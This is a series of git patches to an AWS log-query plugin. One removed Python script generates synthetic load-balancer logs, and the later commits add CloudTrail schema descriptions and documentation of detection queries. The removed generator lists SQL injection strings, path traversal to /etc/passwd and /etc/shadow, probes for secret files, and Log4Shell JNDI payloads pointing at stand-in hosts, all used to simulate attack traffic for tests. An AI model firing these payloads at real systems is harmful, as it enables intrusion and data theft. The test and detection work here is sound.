'gobuster/3.5', - '', # Empty user agent - 'python-requests/2.31.0', - 'Go-http-client/2.0', - 'WhatWeb/0.5.5', - 'zgrab/0.x', - 'Qualys SSL Assessment Scanner' - ] - - # Attack patterns - attack_patterns = [ - { - 'name': 'sql_injection', - 'urls': [ - '/login?id=1\'--', - '/users?id=1 OR 1=1', - '/search?q=1\' UNION SELECT', - '/api/products?category=1\' OR \'1\'=\'1', - '/admin/login?username=admin\'--&password=x' - ], - 'methods': ['GET', 'POST'], - 'frequency': 0.2, - 'status_codes': [200, 403, 500] - }, - { - 'name': 'path_traversal', - 'urls': [ - '/../../../etc/passwd', - '/api/../../../config', - '/static/../../secret', - '/images/../../../../etc/shadow', - '/assets/..%2f..%2f..%2fetc/passwd' - ], - 'methods': ['GET'], - 'frequency': 0.15, - 'status_codes': [403, 404] - }, - { - 'name': 'admin_scan', - 'urls': [ - '/.env', - '/.git/config', - '/wp-config.php.bak', - '/config.php~', - '/wp-admin', - '/admin', - '/administrator', - '/phpmyadmin', - '/adminer.php' - ], - 'methods': ['GET', 'POST'], - 'frequency': 0.3, - 'status_codes': [301, 302, 401, 403] - }, - { - 'name': 'vulnerability_probe', - 'urls': [ - '/actuator/env', - '/metrics', - '/server-status', - '/debug/pprof', - '/?x=${jndi:ldap://attack.com/exp}', - '/test/${jndi:ldap://malicious.example.com/a}', - '/path?class.module.classLoader.URLs%5B0%5D=0' - ], - 'methods': ['GET', 'POST', 'PUT'], - 'frequency': 0.2, - 'status_codes': [404, 403, 500] - } - ] - - # IP ranges for attack simulation - attacker_ip_ranges = [ - ('185.181.0.0', '185.181.255.255'), # Known malicious range - ('45.155.205.0', '45.155.205.255'), # Tor exit nodes - ('193.27.228.0', '193.27.228.255') # VPN range - ] - - # SSL/TLS configurations - ssl_ciphers = [ - 'ECDHE-RSA-AES128-GCM-SHA256', - 'ECDHE-RSA-AES256-GCM-SHA384', - 'TLS_AES_128_GCM_SHA256' - ] - tls_versions = ['TLSv1.2', 'TLSv1.3'] - - def generate_attack_series(): - """Generate a series of related attack requests from the same IP""" - pattern = random.choice(attack_patterns) - attacker_range = random.choice(attacker_ip_ranges) - attacker_ip = str(ipaddress.IPv4Address(random.randint( - int(ipaddress.IPv4Address(attacker_range[0])), - int(ipaddress.IPv4Address(attacker_range[1])) - ))) - scanner_agent = random.choice(scanner_agents) - - series_length = random.randint(5, 15) - return { - 'ip': attacker_ip, - 'agent': scanner_agent, - 'urls': random.choices(pattern['urls'], k=series_length), - 'method': random.choice(pattern['methods']), - 'status_codes': random.choices(pattern['status_codes'], k=series_length) - } - - logs = [] - current_time = start_date - active_attacks = [] # Track active attack series - - for _ in range(num_lines): - # Select ALB and related configurations - alb_name = random.choice(alb_names) - is_scanner = random.random() < 0.1 # 10% of traffic is suspicious - - # Basic request details - http_type = 'https' if alb_name.startswith('prod') else random.choice(['http', 'https']) - timestamp = current_time.strftime('%Y-%m-%dT%H:%M:%S.%fZ') - - # Initialize request details - request = "" - status_code = 200 - user_agent = random.choice(user_agents) - client_ip = str(ipaddress.IPv4Address(random.randint(0, 2**32 - 1))) - - if is_scanner and random.random() < 0.7: # 70% of scanner traffic is part of a series - # Start new attack series or continue existing one - if not active_attacks or random.random() < 0.3: - active_attacks.append(generate_attack_series()) - - attack = random.choice(active_attacks) - client_ip = attack['ip'] - user_agent = attack['agent'] - url = attack['urls'].pop(0) - status_code = attack['status_codes'].pop(0) - method = attack['method'] - request = f"{method} {url} HTTP/1.1" - - # Remove completed attack series - if not attack['urls']: - active_attacks.remove(attack) - else: - # Normal traffic - url = random.choice(urls[alb_name]) - method = 'GET' - status_code = random.choice([200, 200, 200, 200, 301, 302, 404]) - request = f"{method} {url} HTTP/1.1" - - # Client port - client_port = random.randint(10000, 65000) - - # Target details - if 'prod' in alb_name: - target_ip = f"10.0.{random.randint(1,255)}.{random.randint(1,255)}" - else: - target_ip = str(ipaddress.IPv4Address(random.randint(0, 2**32 - 1))) - target_port = 443 if alb_name.startswith('prod') else random.choice([80, 443, 8080]) - - # Processing times - time_multiplier = 1.0 if alb_name.startswith('prod') else 1.5 - request_processing = round(random.uniform(0, 0.1) * time_multiplier, 6) - target_processing = round(random.uniform(0, 0.5) * time_multiplier, 6) - response_processing = round(random.uniform(0, 0.1) * time_multiplier, 6) - - # Generate trace ID - trace_id = f"Root=1-{hex(int(current_time.timestamp()))[2:]}-{uuid.uuid4().hex[:24]}" - - # Response size - received_bytes = random.randint(0, 1000) - sent_bytes = 0 if status_code == 304 else random.randint(200, 15000) - - # Domain names - domain = f"{alb_name}.example.com" if not is_scanner else "-" - - # Target group - target_group = random.choice(target_groups[alb_name]) - - # Generate the log line - log_line = (f"{http_type} {timestamp} {alb_name} {client_ip}:{client_port} {target_ip}:{target_port} " - f"{request_processing:.6f} {target_processing:.6f} {response_processing:.6f} {status_code} {status_code} " - f"{received_bytes} {sent_bytes} \"{request}\" \"{user_agent}\" {random.choice(ssl_ciphers)} " - f"{random.choice(tls_versions)} {target_group} \"{trace_id}\" \"{domain}\" \"-\" {random.randint(0,10)} " - f"{timestamp} \"forward\" \"-\" \"-\" \"{target_ip}:{target_port}\" \"{status_code}\" \"-\" \"-\"") - - logs.append(log_line) - - # Increment time with some randomness but ensure even distribution - current_time += timedelta(seconds=random.uniform(0.1, 2)) - - return logs - -# Generate and write logs -if __name__ == "__main__": - logs = generate_alb_logs() - with open('alb-test.log', 'w') as f: - for log in logs: - f.write(log + '\n') \ No newline at end of file diff --git a/tests/alb_test.tpc b/tests/alb_test.tpc deleted file mode 100644 index 0e0c0b74..00000000 --- a/tests/alb_test.tpc +++ /dev/null @@ -1,11 +0,0 @@ -partition "aws_alb_access_log" "alb_test" { - plugin = "aws" - source "file_system" { - paths = ["/home/jon/tpsrc/tailpipe-plugin-aws/test/alb-test.log"] - extensions = [".log"] - } -} - - - - From 8bfdbf0a7793846dd7577875e2548b77e3d1413a Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 23 Jan 2025 13:01:31 -0500 Subject: [PATCH 151/180] Add table and column descriptions --- rows/cloudtrail_log.go | 78 +++++++++++++++++++++++++--------- tables/cloudtrail_log_table.go | 4 ++ 2 files changed, 63 insertions(+), 19 deletions(-) diff --git a/rows/cloudtrail_log.go b/rows/cloudtrail_log.go index 83b486e9..9693b901 100644 --- a/rows/cloudtrail_log.go +++ b/rows/cloudtrail_log.go @@ -19,8 +19,10 @@ type CloudTrailLog struct { AdditionalEventData *map[string]interface{} `json:"additionalEventData,omitempty" parquet:"name=additional_event_data, type=JSON"` APIVersion *string `json:"apiVersion,omitempty" parquet:"name=api_version"` AwsRegion string `json:"awsRegion" parquet:"name=aws_region"` + EdgeDeviceDetails *map[string]interface{} `json:"edgeDeviceDetails,omitempty" parquet:"name=edge_device_details, type=JSON"` ErrorCode *string `json:"errorCode,omitempty" parquet:"name=error_code"` ErrorMessage *string `json:"errorMessage,omitempty" parquet:"name=error_message"` + EventCategory string `json:"eventCategory,omitempty" parquet:"name=event_category"` EventID string `json:"eventID" parquet:"name=event_id"` EventName string `json:"eventName" parquet:"name=event_name"` EventSource string `json:"eventSource" parquet:"name=event_source"` @@ -35,62 +37,100 @@ type CloudTrailLog struct { Resources []*Resource `json:"resources,omitempty" parquet:"name=resources, type=JSON"` ResponseElements *map[string]interface{} `json:"responseElements,omitempty" parquet:"name=response_elements, type=JSON"` ServiceEventDetails *map[string]interface{} `json:"serviceEventDetails,omitempty" parquet:"name=service_event_details, type=JSON"` + SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty" parquet:"name=session_credential_from_console"` SharedEventID *string `json:"sharedEventID,omitempty" parquet:"name=shared_event_id"` SourceIPAddress *string `json:"sourceIPAddress,omitempty" parquet:"name=source_ip_address"` + TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details"` UserAgent *string `json:"userAgent,omitempty" parquet:"name=user_agent"` UserIdentity UserIdentity `json:"userIdentity" parquet:"name=user_identity"` VpcEndpointId string `json:"vpcEndpointId,omitempty" parquet:"name=vpc_endpoint_id"` - EventCategory string `json:"eventCategory,omitempty" parquet:"name=event_category"` - SessionCredentialFromConsole *string `json:"sessionCredentialFromConsole,omitempty" parquet:"name=session_credential_from_console"` - EdgeDeviceDetails *map[string]interface{} `json:"edgeDeviceDetails,omitempty" parquet:"name=edge_device_details, type=JSON"` - TLSDetails *TLSDetails `json:"tlsDetails,omitempty" parquet:"name=tls_details"` } type UserIdentity struct { - Type string `json:"type" parquet:"name=type"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` - ARN *string `json:"arn,omitempty" parquet:"name=arn"` - AccountId *string `json:"accountId,omitempty" parquet:"name=account_id"` AccessKeyId *string `json:"accessKeyId,omitempty" parquet:"name=access_key_id"` - UserName *string `json:"userName,omitempty" parquet:"name=user_name"` - SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context"` - InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by"` + AccountId *string `json:"accountId,omitempty" parquet:"name=account_id"` + ARN *string `json:"arn,omitempty" parquet:"name=arn"` IdentityProvider *string `json:"identityProvider,omitempty" parquet:"name=identity_provider"` + InvokedBy *string `json:"invokedBy,omitempty" parquet:"name=invoked_by"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` + SessionContext *SessionContext `json:"sessionContext,omitempty" parquet:"name=session_context"` + Type string `json:"type" parquet:"name=type"` + UserName *string `json:"userName,omitempty" parquet:"name=user_name"` } type Resource struct { - ARN *string `json:"ARN,omitempty"` AccountId *string `json:"accountId,omitempty"` + ARN *string `json:"ARN,omitempty"` Type *string `json:"type,omitempty"` } type SessionContext struct { Attributes *SessionAttributes `json:"attributes,omitempty" parquet:"name=attributes"` + EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery"` SessionIssuer *SessionIssuer `json:"sessionIssuer,omitempty" parquet:"name=session_issuer"` WebIdFederationData *WebIdFederationData `json:"webIdFederationData,omitempty" parquet:"name=web_id_federation_data"` - EC2RoleDelivery *string `json:"ec2RoleDelivery,omitempty" parquet:"name=ec2_role_delivery"` } type SessionAttributes struct { - MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated"` CreationDate *types.UnixMillis `json:"creationDate,omitempty" parquet:"name=creation_date"` + MfaAuthenticated *string `json:"mfaAuthenticated,omitempty" parquet:"name=mfa_authenticated"` } type SessionIssuer struct { - Type *string `json:"type,omitempty" parquet:"name=type"` - PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` - ARN *string `json:"arn,omitempty" parquet:"name=arn"` AccountId *string `json:"accountId,omitempty" parquet:"name=account_id"` + ARN *string `json:"arn,omitempty" parquet:"name=arn"` + PrincipalId *string `json:"principalId,omitempty" parquet:"name=principal_id"` + Type *string `json:"type,omitempty" parquet:"name=type"` UserName *string `json:"userName,omitempty" parquet:"name=user_name"` } type WebIdFederationData struct { - FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider"` Attributes *types.JSONString `json:"attributes,omitempty" parquet:"name=attributes, type=JSON"` + FederatedProvider *string `json:"federatedProvider,omitempty" parquet:"name=federated_provider"` } type TLSDetails struct { - TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version"` CipherSuite *string `json:"cipherSuite,omitempty" parquet:"name=cipher_suite"` ClientProvidedHostHeader *string `json:"clientProvidedHostHeader,omitempty" parquet:"name=client_provided_host_header"` + TLSVersion *string `json:"tlsVersion,omitempty" parquet:"name=tls_version"` +} + +func (c *CloudTrailLog) GetColumnDescriptions() map[string]string { + return map[string]string{ + "additional_event_data": "Additional information about the event that is specific to the service being called.", + "api_version": "The API version associated with the event.", + "aws_region": "The AWS region where the event originated.", + "edge_device_details": "Details about an edge device involved in the event, in JSON format.", + "error_code": "The error code returned, if the event resulted in an error.", + "error_message": "The error message returned, if the event resulted in an error.", + "event_category": "The category of the event, such as 'Management' or 'Data'.", + "event_id": "A unique identifier for the event.", + "event_name": "The name of the API operation that was invoked.", + "event_source": "The AWS service that the request was made to, such as 'ec2.amazonaws.com'.", + "event_time": "The date and time the event occurred, in ISO 8601 format.", + "event_type": "The type of event (e.g., 'AwsApiCall', 'AwsServiceEvent').", + "event_version": "The version of the event log schema.", + "management_event": "Indicates whether the event is a management event (true or false).", + "read_only": "Indicates whether the request was a read-only operation (true or false).", + "recipient_account_id": "The AWS account ID that received the request.", + "request_id": "The ID of the request associated with the event.", + "request_parameters": "The request parameters sent with the request, in JSON format.", + "resources": "A list of resources that were affected by the event, including ARNs and resource types.", + "response_elements": "The response elements returned by the service in response to the request, in JSON format.", + "service_event_details": "Details about a service event, in JSON format.", + "session_credential_from_console": "Indicates whether the session credential originated from the AWS Management Console.", + "shared_event_id": "An identifier for shared events, when multiple entries represent the same event.", + "source_ip_address": "The IP address from which the request was made.", + "tls_details": "Details about the TLS connection, if applicable.", + "user_agent": "The user agent string of the client that made the request.", + "user_identity": "Details about the IAM identity that made the request, including user, role, or service.", + "vpc_endpoint_id": "The ID of the VPC endpoint through which the request was made, if applicable.", + + // Override table specific tp_* column descriptions + "tp_akas": "Resource ARNs associated with the event.", + "tp_index": "The AWS account ID that received the request.", + "tp_ips": "IP addresses associated with the event, including the source IP address.", + "tp_timestamp": "The date and time the event occurred, in ISO 8601 format.", + "tp_usernames": "Usernames or access key IDs associated with the event.", + } } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index bce96daf..19463976 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -98,3 +98,7 @@ func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichment return row, nil } + +func (c *CloudTrailLogTable) GetDescription() string { + return "AWS CloudTrail logs capture API activity and user actions within your AWS account." +} From ce3bfeea0503ee220ef4cc61c5ebd149b038a148 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 23 Jan 2025 13:02:53 -0500 Subject: [PATCH 152/180] Temporarily add top level table docs for Hub build --- docs/aws_cloudtrail_log.md | 156 +++++++++++++ docs/aws_cloudtrail_log_examples.md | 349 ++++++++++++++++++++++++++++ 2 files changed, 505 insertions(+) create mode 100644 docs/aws_cloudtrail_log.md create mode 100644 docs/aws_cloudtrail_log_examples.md diff --git a/docs/aws_cloudtrail_log.md b/docs/aws_cloudtrail_log.md new file mode 100644 index 00000000..1e08061a --- /dev/null +++ b/docs/aws_cloudtrail_log.md @@ -0,0 +1,156 @@ +--- +title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" +description: "Allows users to query AWS CloudTrail logs." +--- + +# Table: aws_cloudtrail_log - Query AWS CloudTrail logs + +The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. + +## Configuration + +CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + # Avoid saving read-only events, which often make up to 90% of all log entries + filter = "not read_only" + + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. + +You can also collect logs for a single account: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +Or for a single region: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). + +You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): + +```hcl +partition "aws_cloudtrail_log" "local_logs" { + source "file" { + paths = ["/Users/mscott/cloudtrail_logs"] + file_layout = "%{DATA}.json.gz" + } +} +``` + +## Queries + +For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). + +### Root activity + +Find any actions taken by the root user. + +```sql +select + event_time, + event_name, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +### Top 10 events + +List the top 10 events and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### High volume S3 access requests + +Find users generating a high volume of S3 access requests to identify potential anomalous activity. + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` diff --git a/docs/aws_cloudtrail_log_examples.md b/docs/aws_cloudtrail_log_examples.md new file mode 100644 index 00000000..57f09364 --- /dev/null +++ b/docs/aws_cloudtrail_log_examples.md @@ -0,0 +1,349 @@ +## Count Examples + +### Daily event counts + +Return a count of events per day to see trends over time. + +```sql +select + strftime(event_time, '%Y-%m-%d') AS event_date, + count(*) AS event_count +from + aws_cloudtrail_log +group by + event_date +order by + event_date asc; +``` + +### Top 10 events + +List the top 10 events and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### Top 10 events (exclude read-only) + +List the top 10 events, excluding read-only events, and how many times they were called. + +```sql +select + event_source, + event_name, + count(*) as event_count +from + aws_cloudtrail_log +where + not read_only +group by + event_source, + event_name, +order by + event_count desc +limit 10; +``` + +### Event counts by account + +Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. + +```sql +select + event_source, + event_name, + recipient_account_id, + count(*) as event_count +from + aws_cloudtrail_log +group by + event_source, + event_name, + recipient_account_id +order by + event_count desc; +``` + +### Error code counts + +```sql +select + error_code, + count(*) as event_count +from + aws_cloudtrail_log +where + error_code is not null +group by + error_code +order by + event_count desc; +``` + +## Detection Examples + +### Detect default EBS encryption disabled in a region + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name = 'DisableEbsEncryptionByDefault' + and error_code is null +order by + event_time desc; +``` + +### Detect attempts to stop CloudTrail trail logging + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_name in ('StopLogging', 'DeleteTrail') + and event_source = 'cloudtrail.amazonaws.com' + and error_code is not null +order by + event_time desc; +``` + +### Detect unsuccessful AWS console login attempts + +```sql +select + event_time, + event_name, + user_identity.arn as user_arn, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id, + additional_event_data +from + aws_cloudtrail_log +where + event_source = 'signin.amazonaws.com' + and event_name = 'ConsoleLogin' + and error_code is not null +order by + event_time desc; +``` + +### Root activity + +Find any actions taken by the root user. + +```sql +select + event_time, + event_name, + source_ip_address, + user_agent, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +### Detect actions in unapproved regions + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + aws_region not in ('us-east-1', 'us-west-1') +order by + event_time desc; +``` + +### Detect actions from unapproved IP addresses + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + source_ip_address not in ('192.0.2.146', '206.253.208.100') +order by + event_time desc; +``` + +## Operational Examples + +### List VPC security group rule updates + +```sql +select + event_time, + event_source, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') + and error_code is null +order by + event_time desc; +``` + +### List IAM user policy updates + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + event_source = 'iam.amazonaws.com' + and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') +order by + event_time desc; +``` + +## Volume Examples + +### Detect high volume of S3 bucket access requests + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'PutObject', 'ListBucket') +group by + user_identity.arn, + event_minute +having + count(*) > 100 +order by + event_count desc; +``` + +### Detect excessive IAM role assumption + +```sql +select + user_identity.arn as user_arn, + count(*) as event_count, + date_trunc('hour', event_time) as event_hour +from + aws_cloudtrail_log +where + event_source = 'sts.amazonaws.com' + and event_name = 'AssumeRole' +group by + user_identity.arn, + event_hour +having + count(*) > 10 +order by + event_hour desc, + event_count desc; +``` + +## Baseline Examples + +### Detect unusual source IP addresses for users + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + count(*) as access_count, + date_trunc('day', event_time) as access_day +from + aws_cloudtrail_log +where + source_ip_address not like '%.amazonaws.com' + and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) +group by + user_identity.arn, source_ip_address, access_day +having + access_count > 5 +order by + access_count desc; +``` + +### Detect activity outside of normal hours (between 8 PM and 6 AM) + +```sql +select + event_time, + event_source, + event_name, + request_parameters, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id +from + aws_cloudtrail_log +where + cast(strftime(event_time, '%H') as integer) >= 20 + or cast(strftime(event_time, '%H') as integer) < 6 +order by + event_time desc; From 6ff887a2942d9d410e27f15dbf1405bcb737f9a0 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Fri, 24 Jan 2025 00:18:02 -0500 Subject: [PATCH 153/180] Update README and other docs --- README.md | 57 +++++++++++++------------ docs/aws_cloudtrail_log.md | 22 +++------- docs/index.md | 47 +++++++++----------- docs/tables/aws_cloudtrail_log/index.md | 22 +++------- 4 files changed, 64 insertions(+), 84 deletions(-) diff --git a/README.md b/README.md index ff8a4148..5e6bd6ed 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,18 @@ Collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +## Table of Contents + +- [Documentation](#documentation) +- [Getting Started](#getting-started) +- [Credentials](#credentials) +- [Developing](#developing) +- [Open Source & Contributing](#open-source-contributing) +- [Get Involved](#get-involved) + ## Documentation -- **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** +- **[Table configuration and definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** - **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** - **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** @@ -46,7 +55,7 @@ partition "aws_cloudtrail_log" "my_logs" { } ``` -### Usage +### Log Collection Collect logs: @@ -54,12 +63,26 @@ Collect logs: tailpipe collect aws_cloudtrail_log ``` -List partitions and view row counts: +When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. + +You can override the default behaviour by specifying `--from`: + +```sh +tailpipe collect aws_cloudtrail_log --from 2025-01-01 +``` + +You can also use relative times. For instance, to collect logs from the last 60 days: ```sh -tailpipe partition list +tailpipe collect aws_cloudtrail_log --from T-60d ``` +Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. + +For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. + +### Query + Run a query: ```sql @@ -81,27 +104,7 @@ For example: +----------------------+-----------------------+----------------------+-------------+ ``` -### Collection Dates - -When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. - -You can override the collection window by specifying `--from`: - -```sh -tailpipe collect aws_cloudtrail_log --from 2025-01-01 -``` - -You can also use relative times. For instance, to collect logs from the last 60 days: - -```sh -tailpipe collect aws_cloudtrail_log --from T-60d -``` - -Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. - -For more examples of how to use `--from` and other arguments, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. - -### Connections +## Credentials By default, the following environment variables will be used for authentication: @@ -132,7 +135,7 @@ connection "aws" "aws_session_token" { } ``` -For more information on connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). +For more information on AWS connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). ## Developing @@ -158,7 +161,7 @@ Try it! ``` tailpipe query -> .inspect +> .inspect aws_cloudtrail_log ``` ## Open Source & Contributing diff --git a/docs/aws_cloudtrail_log.md b/docs/aws_cloudtrail_log.md index 1e08061a..915d8416 100644 --- a/docs/aws_cloudtrail_log.md +++ b/docs/aws_cloudtrail_log.md @@ -9,7 +9,11 @@ The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs ## Configuration -CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: +CloudTrail logs are normally stored within S3 buckets, so a typical partition configuration would look like: + +```sh +vi ~/.tailpipe/config/aws.tpc +``` ```hcl connection "aws" "aws_profile" { @@ -27,12 +31,8 @@ partition "aws_cloudtrail_log" "my_logs" { To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { - # Avoid saving read-only events, which often make up to 90% of all log entries + # Avoid saving read-only events, which can drastically reduce local log size filter = "not read_only" source "aws_s3_bucket" { @@ -47,10 +47,6 @@ The `filter` argument values use SQL `where` clause syntax with any of the colum You can also collect logs for a single account: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { connection = connection.aws.aws_profile @@ -63,10 +59,6 @@ partition "aws_cloudtrail_log" "my_logs" { Or for a single region: ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { connection = connection.aws.aws_profile @@ -78,7 +70,7 @@ partition "aws_cloudtrail_log" "my_logs" { For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). -You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): +You can also collect and query local log files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): ```hcl partition "aws_cloudtrail_log" "local_logs" { diff --git a/docs/index.md b/docs/index.md index e29fc31d..40d6baa3 100644 --- a/docs/index.md +++ b/docs/index.md @@ -50,7 +50,7 @@ order by ## Documentation -- **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** +- **[Table configuration and definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** - **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** - **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** @@ -92,7 +92,7 @@ partition "aws_cloudtrail_log" "my_logs" { } ``` -### Usage +### Log Collection Collect logs: @@ -100,12 +100,26 @@ Collect logs: tailpipe collect aws_cloudtrail_log ``` -List partitions and view row counts: +When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. + +You can override the default behaviour by specifying `--from`: + +```sh +tailpipe collect aws_cloudtrail_log --from 2025-01-01 +``` + +You can also use relative times. For instance, to collect logs from the last 60 days: ```sh -tailpipe partition list +tailpipe collect aws_cloudtrail_log --from T-60d ``` +Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. + +For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. + +### Query + Run a query: ```sql @@ -127,28 +141,7 @@ For example: +----------------------+-----------------------+----------------------+-------------+ ``` -### Collection Dates - -When running `tailpipe 